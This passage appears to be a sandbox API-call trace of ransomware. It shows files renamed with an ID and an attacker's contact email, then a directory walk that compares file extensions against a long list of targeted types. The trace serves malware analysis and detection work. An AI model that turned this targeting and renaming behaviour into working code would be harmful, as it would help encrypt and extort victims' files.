	[0166.103] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x821ad5df, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x821ad5df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d4cc65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~3.HTM")) returned 1
	[0166.109] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x8699bbc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~4.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8325dcb3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8325dcb3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83473d77, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NE10CD~1.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x838d7db4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x838d7db4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83924334, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NEC3EF~1.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x822922be, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x822922be, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x822b8545, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARAME~1.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bd2da1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83bd2da1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83bd2da1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RGB9RA~1.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bf90a1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83bf90a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83bf90a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RGB9RA~2.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e0efb8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83e0efb8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83e351af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPE~1.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e351af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83e351af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x842877c9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPE~2.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x84109fa1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84109fa1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8413026c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~2.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828881e3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828881e3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828881e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~1.HTM")) returned 1
	[0166.110] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8415864b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8415864b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847be9fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~3.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828ae3bc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828ae3bc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828ae3bc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SPLASH~1.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x847e4b7f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x847e4b7f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847e4b7f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SQMAPI~1.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828fa8c4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828fa8c4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82920b18, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="STRING~1.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82920b18, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82920b18, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d007cf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x829b9437, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x829b9437, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x829b9437, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WATERM~1.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x86ea976b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~1.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~2.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x86ea976b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~3.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x86e8a7c7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~4.HTM")) returned 1
	[0166.111] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x86e8a7c7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~4.HTM")) returned 0
	[0166.112] FindClose (in: hFindFile=0x6ac058 | out: hFindFile=0x6ac058) returned 1
	[0166.112] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3df0950 | out: hHeap=0x610000) returned 1
	[0166.113] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0166.113] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3df0950
	[0166.113] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6abd98
	[0166.114] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0166.116] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0166.117] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0166.117] lstrlenW (lpString="BCD.LOG") returned 7
	[0166.117] lstrlenW (lpString=".1cd") returned 4
	[0166.117] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0166.117] lstrlenW (lpString=".3ds") returned 4
	[0166.117] lstrcmpiW (lpString1=".3ds", lpString2=".LOG") returned -1
	[0166.117] lstrlenW (lpString=".3fr") returned 4
	[0166.117] lstrcmpiW (lpString1=".3fr", lpString2=".LOG") returned -1
	[0166.117] lstrlenW (lpString=".3g2") returned 4
	[0166.117] lstrcmpiW (lpString1=".3g2", lpString2=".LOG") returned -1
	[0166.117] lstrlenW (lpString=".3gp") returned 4
	[0166.117] lstrcmpiW (lpString1=".3gp", lpString2=".LOG") returned -1
	[0166.117] lstrlenW (lpString=".7z") returned 3
	[0166.117] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0166.117] lstrlenW (lpString=".accda") returned 6
	[0166.117] lstrcmpiW (lpString1=".accda", lpString2="CD.LOG") returned -1
	[0166.117] lstrlenW (lpString=".accdb") returned 6
	[0166.117] lstrcmpiW (lpString1=".accdb", lpString2="CD.LOG") returned -1
	[0166.117] lstrlenW (lpString=".accdc") returned 6
	[0166.117] lstrcmpiW (lpString1=".accdc", lpString2="CD.LOG") returned -1
	[0166.117] lstrlenW (lpString=".accde") returned 6
	[0166.117] lstrcmpiW (lpString1=".accde", lpString2="CD.LOG") returned -1
	[0166.117] lstrlenW (lpString=".accdt") returned 6
	[0166.117] lstrcmpiW (lpString1=".accdt", lpString2="CD.LOG") returned -1
	[0166.117] lstrlenW (lpString=".accdw") returned 6
	[0166.117] lstrcmpiW (lpString1=".accdw", lpString2="CD.LOG") returned -1
	[0166.118] lstrlenW (lpString=".adb") returned 4
	[0166.118] lstrcmpiW (lpString1=".adb", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".adp") returned 4
	[0166.118] lstrcmpiW (lpString1=".adp", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".ai") returned 3
	[0166.118] lstrcmpiW (lpString1=".ai", lpString2="LOG") returned -1
	[0166.118] lstrlenW (lpString=".ai3") returned 4
	[0166.118] lstrcmpiW (lpString1=".ai3", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".ai4") returned 4
	[0166.118] lstrcmpiW (lpString1=".ai4", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".ai5") returned 4
	[0166.118] lstrcmpiW (lpString1=".ai5", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".ai6") returned 4
	[0166.118] lstrcmpiW (lpString1=".ai6", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".ai7") returned 4
	[0166.118] lstrcmpiW (lpString1=".ai7", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".ai8") returned 4
	[0166.118] lstrcmpiW (lpString1=".ai8", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".anim") returned 5
	[0166.118] lstrcmpiW (lpString1=".anim", lpString2="D.LOG") returned -1
	[0166.118] lstrlenW (lpString=".arw") returned 4
	[0166.118] lstrcmpiW (lpString1=".arw", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".as") returned 3
	[0166.118] lstrcmpiW (lpString1=".as", lpString2="LOG") returned -1
	[0166.118] lstrlenW (lpString=".asa") returned 4
	[0166.118] lstrcmpiW (lpString1=".asa", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".asc") returned 4
	[0166.118] lstrcmpiW (lpString1=".asc", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".ascx") returned 5
	[0166.118] lstrcmpiW (lpString1=".ascx", lpString2="D.LOG") returned -1
	[0166.118] lstrlenW (lpString=".asm") returned 4
	[0166.118] lstrcmpiW (lpString1=".asm", lpString2=".LOG") returned -1
	[0166.118] lstrlenW (lpString=".asmx") returned 5
	[0166.119] lstrcmpiW (lpString1=".asmx", lpString2="D.LOG") returned -1
	[0166.119] lstrlenW (lpString=".asp") returned 4
	[0166.119] lstrcmpiW (lpString1=".asp", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".aspx") returned 5
	[0166.119] lstrcmpiW (lpString1=".aspx", lpString2="D.LOG") returned -1
	[0166.119] lstrlenW (lpString=".asr") returned 4
	[0166.119] lstrcmpiW (lpString1=".asr", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".asx") returned 4
	[0166.119] lstrcmpiW (lpString1=".asx", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".avi") returned 4
	[0166.119] lstrcmpiW (lpString1=".avi", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".avs") returned 4
	[0166.119] lstrcmpiW (lpString1=".avs", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".backup") returned 7
	[0166.119] lstrcmpiW (lpString1=".backup", lpString2="BCD.LOG") returned -1
	[0166.119] lstrlenW (lpString=".bak") returned 4
	[0166.119] lstrcmpiW (lpString1=".bak", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".bay") returned 4
	[0166.119] lstrcmpiW (lpString1=".bay", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".bd") returned 3
	[0166.119] lstrcmpiW (lpString1=".bd", lpString2="LOG") returned -1
	[0166.119] lstrlenW (lpString=".bin") returned 4
	[0166.119] lstrcmpiW (lpString1=".bin", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".bmp") returned 4
	[0166.119] lstrcmpiW (lpString1=".bmp", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".bz2") returned 4
	[0166.119] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".c") returned 2
	[0166.119] lstrcmpiW (lpString1=".c", lpString2="OG") returned -1
	[0166.119] lstrlenW (lpString=".cdr") returned 4
	[0166.119] lstrcmpiW (lpString1=".cdr", lpString2=".LOG") returned -1
	[0166.119] lstrlenW (lpString=".cer") returned 4
	[0166.120] lstrcmpiW (lpString1=".cer", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".cf") returned 3
	[0166.120] lstrcmpiW (lpString1=".cf", lpString2="LOG") returned -1
	[0166.120] lstrlenW (lpString=".cfc") returned 4
	[0166.120] lstrcmpiW (lpString1=".cfc", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".cfm") returned 4
	[0166.120] lstrcmpiW (lpString1=".cfm", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".cfml") returned 5
	[0166.120] lstrcmpiW (lpString1=".cfml", lpString2="D.LOG") returned -1
	[0166.120] lstrlenW (lpString=".cfu") returned 4
	[0166.120] lstrcmpiW (lpString1=".cfu", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".chm") returned 4
	[0166.120] lstrcmpiW (lpString1=".chm", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".cin") returned 4
	[0166.120] lstrcmpiW (lpString1=".cin", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".class") returned 6
	[0166.120] lstrcmpiW (lpString1=".class", lpString2="CD.LOG") returned -1
	[0166.120] lstrlenW (lpString=".clx") returned 4
	[0166.120] lstrcmpiW (lpString1=".clx", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".config") returned 7
	[0166.120] lstrcmpiW (lpString1=".config", lpString2="BCD.LOG") returned -1
	[0166.120] lstrlenW (lpString=".cpp") returned 4
	[0166.120] lstrcmpiW (lpString1=".cpp", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".cr2") returned 4
	[0166.120] lstrcmpiW (lpString1=".cr2", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".crt") returned 4
	[0166.120] lstrcmpiW (lpString1=".crt", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".crw") returned 4
	[0166.120] lstrcmpiW (lpString1=".crw", lpString2=".LOG") returned -1
	[0166.120] lstrlenW (lpString=".cs") returned 3
	[0166.120] lstrcmpiW (lpString1=".cs", lpString2="LOG") returned -1
	[0166.120] lstrlenW (lpString=".css") returned 4
	[0166.121] lstrcmpiW (lpString1=".css", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".csv") returned 4
	[0166.121] lstrcmpiW (lpString1=".csv", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".cub") returned 4
	[0166.121] lstrcmpiW (lpString1=".cub", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".dae") returned 4
	[0166.121] lstrcmpiW (lpString1=".dae", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".dat") returned 4
	[0166.121] lstrcmpiW (lpString1=".dat", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".db") returned 3
	[0166.121] lstrcmpiW (lpString1=".db", lpString2="LOG") returned -1
	[0166.121] lstrlenW (lpString=".dbf") returned 4
	[0166.121] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".dbx") returned 4
	[0166.121] lstrcmpiW (lpString1=".dbx", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".dc3") returned 4
	[0166.121] lstrcmpiW (lpString1=".dc3", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".dcm") returned 4
	[0166.121] lstrcmpiW (lpString1=".dcm", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".dcr") returned 4
	[0166.121] lstrcmpiW (lpString1=".dcr", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".der") returned 4
	[0166.121] lstrcmpiW (lpString1=".der", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".dib") returned 4
	[0166.121] lstrcmpiW (lpString1=".dib", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".dic") returned 4
	[0166.121] lstrcmpiW (lpString1=".dic", lpString2=".LOG") returned -1
	[0166.121] lstrlenW (lpString=".dif") returned 4
	[0166.121] lstrcmpiW (lpString1=".dif", lpString2=".LOG") returned -1
	[0166.122] lstrlenW (lpString=".divx") returned 5
	[0166.122] lstrcmpiW (lpString1=".divx", lpString2="D.LOG") returned -1
	[0166.122] lstrlenW (lpString=".djvu") returned 5
	[0166.122] lstrcmpiW (lpString1=".djvu", lpString2="D.LOG") returned -1
	[0166.122] lstrlenW (lpString=".dng") returned 4
	[0166.122] lstrcmpiW (lpString1=".dng", lpString2=".LOG") returned -1
	[0166.122] lstrlenW (lpString=".doc") returned 4
	[0166.122] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0166.122] lstrlenW (lpString=".docm") returned 5
	[0166.122] lstrcmpiW (lpString1=".docm", lpString2="D.LOG") returned -1
	[0166.122] lstrlenW (lpString=".docx") returned 5
